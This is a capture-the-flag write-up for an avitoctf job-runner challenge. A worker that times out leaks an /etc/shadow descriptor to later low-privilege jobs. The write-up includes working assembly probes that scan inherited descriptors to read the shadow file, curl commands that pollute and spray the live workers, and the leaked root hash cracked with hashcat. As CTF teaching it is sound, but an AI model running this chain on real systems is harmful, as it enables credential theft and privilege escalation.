$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A non-stripped ELF runs uploaded jobs in a persistent worker sandbox whose timeout path mishandles privileged resources. Solution: Leak an inherited shadow descriptor, crack the root DES hash, and run a flag reader as root.
Улей запускает «СотоLambda» — облачную систему исполнения небольших задач. Загрузите программу, выберите ресурсы и дедлайн, и рой воркеров исполнит её. Даны тестовые учётные данные и демо-бинарник. Есть подозрение, что воркер не всегда очищает служебные следы. Доберитесь до
/root/flag.txt.
The challenge supplied a non-stripped x86-64 worker binary, sandbox_worker.elf, plus a web interface for uploading ELF programs and invoking them with credentials and sandbox limits. The wording about uncleared service “traces” was literal: a timed-out request left a privileged file descriptor in a persistent worker, and a later low-privilege program inherited it.
No memory corruption, namespace escape, or direct authentication bypass was required.
The worker was a dynamically linked, PIE x86-64 ELF with NX, partial RELRO, no stack canary, and symbols intact. Its imports immediately exposed the important subsystems:
getpwnam, fgetspent, and crypt;setitimer, sigsetjmp, and siglongjmp;fork, setresgid, setresuid, and execv;pipe2, poll, and waitpid.The named handle_request function and global child/pipe variables also suggested that one privileged process served multiple requests. That made cross-request resource lifetime more important than conventional memory-corruption checks.
The supplied binary can be checked with:
sha256sum sandbox_worker.elf # f33ea64f449a32aed3a2aaf27dbeda24d7da31b1abe5809363ab4e0718df8a28 file sandbox_worker.elf readelf -hW sandbox_worker.elf readelf -sW sandbox_worker.elf | less objdump -d -M intel sandbox_worker.elf | less
handle_request installed the SIGALRM handler and saved a recovery point with sigsetjmp around 0x2492..0x24d0. For each request, it then opened /etc/shadow around 0x24f6..0x2506 as follows:
shadow_fd = open("/etc/shadow", O_RDONLY);
There are two crucial properties here:
O_CLOEXEC is absent, so the resulting descriptor survives execv unless explicitly closed.The request timer was armed around 0x258f..0x25b7. Authentication duplicated the descriptor at 0x2969, wrapped the duplicate in a stream, iterated entries with fgetspent, and checked crypt(password, sp_pwdp) around 0x2969..0x2a23.
When SIGALRM fired, the handler used siglongjmp. The timeout path at 0x2678..0x27bd disarmed the timer, killed and reaped the active child, and closed only the global parent-side pipe descriptors. It did not close the local shadow_fd or a possible fdopen duplicate. Control then returned to the request-reading loop in the same long-lived worker process.
On a later successful request, the forked child closed only the current request's shadow descriptor at 0x2c11. It did not know about stale descriptors leaked by previous requests. After dropping to the authenticated account, it called execv at 0x2cd3. The job pipes were created with pipe2(..., O_CLOEXEC), but the stale shadow descriptor lacked FD_CLOEXEC and therefore survived the exec.
This gives the complete primitive:
privileged worker opens /etc/shadow ↓ SIGALRM interrupts the request ↓ siglongjmp skips local cleanup ↓ the worker processes another request ↓ fork → close only current shadow fd → drop uid/gid → execv ↓ uploaded ELF inherits the stale readable shadow fd
Changing UID after a file has been opened does not revoke access through that open file description. Likewise, execv does not close every descriptor; it closes only descriptors marked FD_CLOEXEC.
The leaked descriptor number was not stable. A timeout before dup commonly left one descriptor, while a timeout during authentication could leave both the original and duplicate. Runtime wrappers and other inherited resources changed numbering further.
The original and fdopen duplicate could also share an open-file description whose offset had already reached EOF. The payload therefore:
lseek(fd, 0, SEEK_SET);root:.RLIMIT_NOFILE does not close descriptors that are already open, so the scan works as long as the invocation permits a suitable descriptor range.
Running the unmodified worker as root in an isolated Ubuntu 22.04 amd64 container and submitting a 1 ms request produced a timeout response. While that same worker waited for another request, /proc/<worker-pid>/fd still contained a descriptor pointing to /etc/shadow.
A second local proof opened /etc/shadow as root, dropped to UID and GID 65534, and then execed the probe. The low-privilege process still printed the file through the inherited descriptor. This confirmed both halves of the exploit independently of decompiler output.
The final probe was a tiny static, syscall-only ELF. The essential assembly is:
.global _start .section .bss .balign 16 buf: .skip 16384 .section .text _start: mov $3, %r12d fd_loop: mov $8, %eax # lseek(fd, 0, SEEK_SET) mov %r12d, %edi xor %esi, %esi xor %edx, %edx syscall test %rax, %rax js next_fd xor %eax, %eax # read(fd, buf, sizeof(buf)) mov %r12d, %edi lea buf(%rip), %rsi mov $16384, %edx syscall cmp $5, %rax jl next_fd mov %rax, %r13 xor %ecx, %ecx scan: lea 5(%rcx), %rdx cmp %r13, %rdx ja next_fd lea buf(%rip), %rsi cmpl $0x746f6f72, (%rsi,%rcx) # "root" jne scan_next cmpb $0x3a, 4(%rsi,%rcx) # ':' je found scan_next: inc %rcx jmp scan found: mov $1, %eax # write(1, buf, length) mov $1, %edi lea buf(%rip), %rsi mov %r13, %rdx syscall xor %edi, %edi jmp exit next_fd: inc %r12d cmp $256, %r12d jl fd_loop mov $1, %edi exit: mov $60, %eax syscall
Build and verify it:
gcc -nostdlib -static -s -o fd_probe.elf fd_probe.S wc -c fd_probe.elf # 4520 fd_probe.elf sha256sum fd_probe.elf # 7ec6c1e24c31d548034b089e06628a0b0a9b784339f47ffd2f48ee6c4e5ef342
After recovering the root password, a second syscall-only ELF read the target file directly:
.global _start .section .rodata path: .asciz "/root/flag.txt" .section .bss buf: .skip 4096 .section .text _start: mov $2, %eax # open(path, O_RDONLY, 0) lea path(%rip), %rdi xor %esi, %esi xor %edx, %edx syscall test %rax, %rax js fail mov %eax, %edi xor %eax, %eax # read(fd, buf, sizeof(buf)) lea buf(%rip), %rsi mov $4096, %edx syscall test %rax, %rax js fail mov %rax, %rdx mov $1, %eax # write(1, buf, length) mov $1, %edi syscall xor %edi, %edi jmp exit fail: mov $1, %edi exit: mov $60, %eax syscall
Build and verify it similarly:
gcc -nostdlib -static -s -o read_flag.elf read_flag.S wc -c read_flag.elf # 8560 read_flag.elf sha256sum read_flag.elf # 503f7b233705ecebdc5d3ae7eaa85020bd54d674716bfb153d8a5c1b066ee3fe
The browser JavaScript documented the API workflow:
GET /api/config returned defaults and the test credential runner:runner;POST /api/upload accepted a multipart field named file;GET /api/binaries listed uploaded and seeded programs;POST /api/invoke accepted binary_id, args, stdin, auth, and sandbox_settings.The live origin and uploaded binary IDs were ephemeral. The following commands deliberately use placeholders and capture IDs from fresh upload responses:
BASE='https://<INSTANCE>.avitoctf.ru' curl -sS "$BASE/api/config" | jq . curl -sS "$BASE/api/binaries" | jq . PROBE_ID="$( curl -sS -F 'file=@fd_probe.elf' "$BASE/api/upload" | jq -r .binary_id )" READER_ID="$( curl -sS -F 'file=@read_flag.elf' "$BASE/api/upload" | jq -r .binary_id )"
First, invoke the seeded hello binary as the ordinary user with a 1 ms deadline. Replace <SEEDED_HELLO_ID> with its current value from /api/binaries:
curl -sS "$BASE/api/invoke" \ -H 'Content-Type: application/json' \ --data "$(jq -nc --arg id '<SEEDED_HELLO_ID>' '{ binary_id:$id, args:[], stdin:"", auth:{login:"runner",password:"runner"}, sandbox_settings:{memory_mb:256,timeout_ms:1} }')" | jq .
The desired response has timed_out: true. This pollutes whichever persistent worker receives that request.
The backend routed invocations across roughly four long-lived workers. A subsequent probe was therefore not guaranteed to hit the polluted process. Repeating the normal invocation eventually selected the worker carrying the stale descriptor:
for attempt in $(seq 1 12); do curl -sS "$BASE/api/invoke" \ -H 'Content-Type: application/json' \ --data "$(jq -nc --arg id "$PROBE_ID" '{ binary_id:$id, args:[], stdin:"", auth:{login:"runner",password:"runner"}, sandbox_settings:{memory_mb:256,timeout_ms:5000} }')" | jq . done
Approximately every fourth request reached the polluted worker and returned /etc/shadow. If no attempt succeeds, trigger another 1 ms timeout and retry; the exploit depends on worker affinity by chance, not HTTP connection persistence.
The leaked root entry was:
root:azMuiLc/ZPwrM:20648:0:99999:7:::
Unlike the runner account's SHA-512 crypt value, the root hash was a traditional 13-character DES crypt hash. Hashcat mode 1500 and the cached RockYou list recovered it immediately:
printf '%s\n' 'azMuiLc/ZPwrM' > root.hash hashcat -m 1500 -a 0 root.hash ../../../resources/wordlists/passwords/rockyou.txt \ --outfile cracked.txt --outfile-format 2 hashcat -m 1500 root.hash --show # azMuiLc/ZPwrM:mole
Finally, invoke the uploaded reader using root:mole:
curl -sS "$BASE/api/invoke" \ -H 'Content-Type: application/json' \ --data "$(jq -nc --arg id "$READER_ID" '{ binary_id:$id, args:[], stdin:"", auth:{login:"root",password:"mole"}, sandbox_settings:{memory_mb:256,timeout_ms:5000} }')" | jq .
The program exited successfully and returned the challenge flag on standard output.
siglongjmp bypasses cleanup of the local shadow descriptor.FD_CLOEXEC are closed. /etc/shadow was opened without O_CLOEXEC.crypt verification before it forks the uploaded job. The leak yields password hashes, not unauthenticated root execution.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar